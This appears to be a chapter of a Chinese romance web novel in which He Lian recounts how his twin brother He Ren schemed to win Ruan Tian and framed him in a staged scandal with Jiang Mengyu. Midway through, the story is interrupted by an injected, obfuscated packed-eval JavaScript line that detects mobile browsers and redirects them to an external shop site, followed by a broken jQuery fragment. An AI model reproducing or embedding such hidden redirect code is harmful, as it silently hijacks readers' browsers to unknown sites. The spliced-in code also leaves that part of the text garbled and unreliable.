贺敛对阮湉说,他从很久之前就喜欢上阮湉了。
贺敛对阮湉说,他报复人的手段其实很卑劣,甚至觉得有些无法和阮湉相配。
阮湉接下来知道了一个与她十八岁所知的版本截然不同的故事。
那一年,彻底接手贺氏的贺敛直接吞并数家企业,媒体戏称他这势如破竹的劲头颇有种六亲不认的架势。
或许是吧。毕竟外人看到他的父母主动卸任,看到他的弟弟总是无所事事般地荒度年华。
贺敛承认当时他确实有点红了眼,不过却是为了别的事。
他之前确实不太爱回庞都山的那个家。
理由也很简单,那里没有爱他的父母,只有与儿时相关的那些荒唐回忆。
可是谁让阮湉就住在隔壁。
他每次好不容易抽空回去的时候,看到的却是贺忍在她身边的场景。
一开始,贺敛也能看出阮湉的抗拒和冷漠。
如果你对阮湉有所了解,你会发现她原本就是个不太爱说话不太爱笑的人。
可是,贺忍终究和她慢慢亲近、日渐熟络了起来。
那是贺敛还在高中时的事。
贺家的院子中就有一个长长的藤架,还没开花的时候坐在廊下抬起头就能看到阮湉房间的窗。
贺敛特别喜欢坐在那里发呆。
上了高中后,父母对他的态度转变了些许。
也对,他一下子长得高壮,难免比之前多了很多压迫感,不再是那副好操控的模样。
也可能意识到他在私底下已经盘算着以后要揽权了吧。
那天是贺敛印象中最后一次做那个可笑的仪式,他刚从房间里走出来,就碰到了不知道拿着什么东西笑着跑回来的贺忍。
贺忍看到他回家来,戏谑的眼神中闪过片刻的惊讶。
“哟,大忙人回来啦。”
“拜拜,我去找爸妈了。”
贺忍对他的态度好像自始至终都是这副模样。
这副表面看上去无比正常的模样。
没什么好和他说的,贺敛依旧打算去他的老位置发呆。
结果,阮湉竟然从天而降。
她很轻,身上的味道和自己幻想中的很相近。
“对不起贺敛,对不起对不起!我不是故意的!对不起贺敛…”
阮湉像一只受惊的小猫,小脸上满是慌乱却无比可爱…
等一下,她竟然认出自己了。
不可置信的、完全意料之外又欣喜若狂的…他问出了那个问题。
“你能认出我?”
那是不是代表,或许阮湉早就关注过他。
那她还会不会记得再早些时候的那颗糖?
那颗她先递给自己的糖。
可是,看到阮湉接下来的支支吾吾和逃避的眼神,他的这个猜测也很快就被自己推翻了。
怎么可能呢。
阮湉怎么会熟悉自己?
一直有时间和空闲围在她身边的人,压根就不是自己啊。
贺忍刚才笑着跑过来,阮湉就这么大胆地追了过来…
贺敛自嘲一笑。
“你是来找贺忍的吧。”
“但是他现在没时间,你回去吧。”
…
贺敛对贺忍原本是没有讨厌的情绪的。
贺忍是他的弟弟,是与他骨肉相连的亲人。
在某个遥远的曾经,贺敛甚至期待过贺忍第一次叫出口的那句“哥哥”。
…
“哥,你知道那个阮湉吗?沈家领养的女儿,长得还挺好看的。”
…
“我和她认识啦,哈哈哈哈,她胆子小的时候好逗。”
…
“哎呀学习烦死了。我和妈说我想休息一段时间,她还真同意了。哥,我真不理解你到底在努力什么啊,你不是已经是天才了吗?”
…
“玩了一年还是不想读啊,贺敛,加油,替我把我不想学的都学了吧。我去找阮湉玩了。”
“我发现我再休学一年就能和她一起上高中了。挺好的,还好我生病了,我去敲打一下妈妈。”
…
“贺敛,你说阮湉是不是喜欢我啊?但是,我和她在一起的时候她总是不看我,我得想个办法证明一下…”
到这一天的时候,贺敛实在是忍不住了。
他一边告诉自己不要被嫉妒扰乱思绪,一边却还是第一次强硬反驳了贺忍的话。
“证明什么?你凭什么觉得阮湉喜欢你?”
贺忍听到贺敛的反驳后好像很快就明白过来了些什么。
他一边玩味地点着头,一边不自觉地讽刺了起来。
“贺敛,你觉得你比我好吗?”
“她不喜欢我,难道喜欢你这种人吗?哦,我知道了。你觉得你是天才呗,你觉得你比我厉害比我聪明,对,身体也比我好。”
“你觉得你赢了是吗?你真的觉得你比我强很多吗?”
贺忍好像也压抑了某种情绪很多年。
他在闻声赶来地佟颖面前对着贺敛歇斯底里的咆哮:
“为什么生病的人不是你!你知道生那个病有多痛吗!”
“你在装什么啊贺敛?你真的觉得在商场上我打不过你?妈,你给我一间公司,我倒要看看我和他谁更强!”
…
这件事的结果阮湉从肖汕野那里知道了。
贺忍输得很惨,被得罪的沈家当然不会为难他们,但是为了面子,还是提到了阮湉。
沈氏夫妇笑着说道:“多大点事,你们也说了,孩子们之间的争斗罢了。真过意不去的话…贺忍不是还在上高中吗?在学校里对我们家阮湉好一点就行了。”
其实他们这样说也带着相当的讽刺。
此话之意在于,贺家确实出了一个天才,但是同样也有一个休学留级了数年的蠢材———沦落到和小他四岁的阮湉一起上了这么久高中的贺忍。
当时贺敛的脑海中只有一个念头。
就是他不能再让贺忍胡来了。
贺氏是他给阮湉未来的保障,是他自己当初没有履行好要带她回家那个承诺最好的补偿。
况且,同阮湉有关的事,在他心里就是与他自己有关的事啊。
…
发现其实是贺忍设局欺负阮湉的时候,贺敛把那群人全部打成他们各自的管家来领人都认不出的程度。
佟颖让一群人按着他,才保下了贺忍那张同他长得一样的脸。
贺敛再次挣脱开,原本想拖着贺忍去和阮湉道歉。
可是他突然看到贺忍露出了奇怪且诡异的笑。
“你不怕看到她伤心的模样吗?”
他轻飘飘的话落入贺敛的心里却是万般沉重。
贺敛闻言再次拽紧他的衣领:“你这话什么意思。”
“我说过了啊。她喜欢我。”
“她喜欢我。所以知道这些真相,她会难过的。”
“她会难过,她会痛苦,她会怀疑自己一路以来的心。她小时候就那么可怜,好不容易有我在她的身边、我却还是骗她的,在玩弄她的…你说,她会受伤成什么样啊。”
贺敛愣住了。
再次亲口听到贺忍说阮湉喜欢的人就是贺忍的时候,他第一瞬间竟然没有怀疑。
贺忍每天不需要像他一样每天做那么多的事情。
他不需要认真学习、不需要格外付出些什么。
他可以肆意地活着,可以无时无刻地出现在阮湉身边。
从小到大,贺敛无数次地从他的嘴中听到同阮湉有关的事。
他多想也通过什么方法留在阮湉身边…
可是他是不能停下来的。
沈家对阮湉并不算好,那里不会成为她永远的家。
自己只有足够强大,才能去践行自己计划的一切,而不是像儿时一般只能说出那种像是孩童之间玩笑的承诺的话。
贺敛不想只活在阮湉的当下啊。
他想给阮湉一个盛大的未来。
可是如果当下就让阮湉过得不开心了该怎么办呢?
如果自己真的伤害了她喜欢的人、让她难过了怎么办呢?
在贺敛思考且怀疑自我的间隙,贺忍挣脱开了他的桎梏。
“哥,再给我一次机会吧。”
“她喜欢我,我会自己和她说明这一切然后道歉的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952715|214193||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…
傅洇是怎么形容他那时候的状态来着。
无情的工作机器,疯到极致的商界传奇。
如果贺忍是阮湉的内心所向…
嗯,那他没问题。
那段时间贺敛特别特别忙。
国外的市场开拓,需要投入大量的时间和精力。
贺敛没想到,在他在国外的这段时间,还是给了贺忍一个发疯的机会。
贺敛那天回国,贺忍却突然找到他,还提及到城郊的一场酒会。
“说起来,你和阮湉还没有正式认识过吧?刚好有场酒会,我叫了她,你要不要去?”
质疑和理智最终被多年压抑的欲望打破,他难得盛装出席。
席间,一个自称是阮湉朋友的女生主动坐到他的身边。
这个女生就是蒋梦芋。
听到阮湉的名字,贺敛好不容易有了好脸色,意识到有媒体在不远处偷拍时,已经来不及了。
“阮湉就在二楼,你去找她吧。”
贺敛让人去处理媒体的事,自己理了理衣襟。
一步步走到二楼房间的门口时,他却看到贺忍逐渐向女孩儿靠近,亲吻了她的眼睛。
阮湉没有什么反应,贺忍便继续向下,直到吻上了阮湉的唇。
两天后,蒋梦芋在贺家众多亲戚的聚会上突然闯入,要求要和贺家联姻。
那场所谓的家庭聚会贺敛并没有去,酒会之后他便一直在贺氏的办公室里不分昼夜地处理工作。
蒋梦芋声泪俱下所称贺敛玩弄了她的感情、一定要求得一个说法。
贺家那些亲戚自然不会给她胡闹的机会,尤其是贺长恩和佟颖,一定要她拿出证据。
她拿出准备好的资料,不乏一些露骨的视频。
听不见声音,却可以看清和她在一起的那张脸…
这下可就糟了。
贺忍长了一张和贺敛一样的脸啊。
这有谁能分清。
接着,就是傅洇拼名地敲开了贺敛办公室的门,给这个“与世隔绝”的工作狂魔看了那条贺家自行发布的订婚消息。
…
蒋梦芋一直靠在佟颖的怀里哭,哭得贺敛反倒笑了起来。
哦,原来是这样啊。
那个大家都觉得浑浑噩噩度日的二世祖、那个看上去吊儿郎当的贺家二少,原来并没有放弃贺氏啊。
他不知道许给了蒋梦芋什么好处,后者便配合贺忍一起演戏。
缠住自己,随后给自己泼一泼这脏水。
自己不订婚,贺忍就让蒋梦芋闹到公众面前,逼自己失去股东们的信任。
自己订婚,那就是对这件事供认不讳。同时,阮湉也和他几乎再无可能。
贺忍啊贺忍,这手段还真像个撒泼打滚的小孩子。
简单却又十分粗暴。
他没有对目前发生的一切做出评价,只是说出了他给蒋梦芋的唯一可选的路。
“订婚仪式的那一天,你照常来。我会重新找来媒体,你把和贺忍做过的事全部一字一句地对媒体说清。”
蒋梦芋听到贺敛不假思索地就说出了贺忍的名字,啜泣到发抖的肩膀停了一瞬。
“如果你选择了我没有说出口的选项,你也可以试试会有什么结果。”
蒋梦芋没再说出一句话,佟颖却反而在他身后开始追问。
“贺敛,你提到了阿忍?这件事情和他有关吗?”
“别忘了,阿敛,你弟弟他的身体最近又出了小毛病,能不能…”
直到贺敛离开贺家,他都没再回头。
…
再然后的事,阮湉也知道了。
蒋梦芋没去那场订婚宴,自然也就没有当众说清那件事。
她也没有闹,反而像是人间蒸发了一般不知所踪。
贺敛查到,她当时去国外找贺忍商量对策,结果贺忍突然晕倒、再次疾病发作。
蒋梦芋一下子吓得不轻,在国外陪他治疗了一段时间却发现好像无计可施,怕摊上事想赶紧回国。
再次联系上家里时,她整个人都懵了。
她只走了十余天,原本的蒋家就已经不复存在。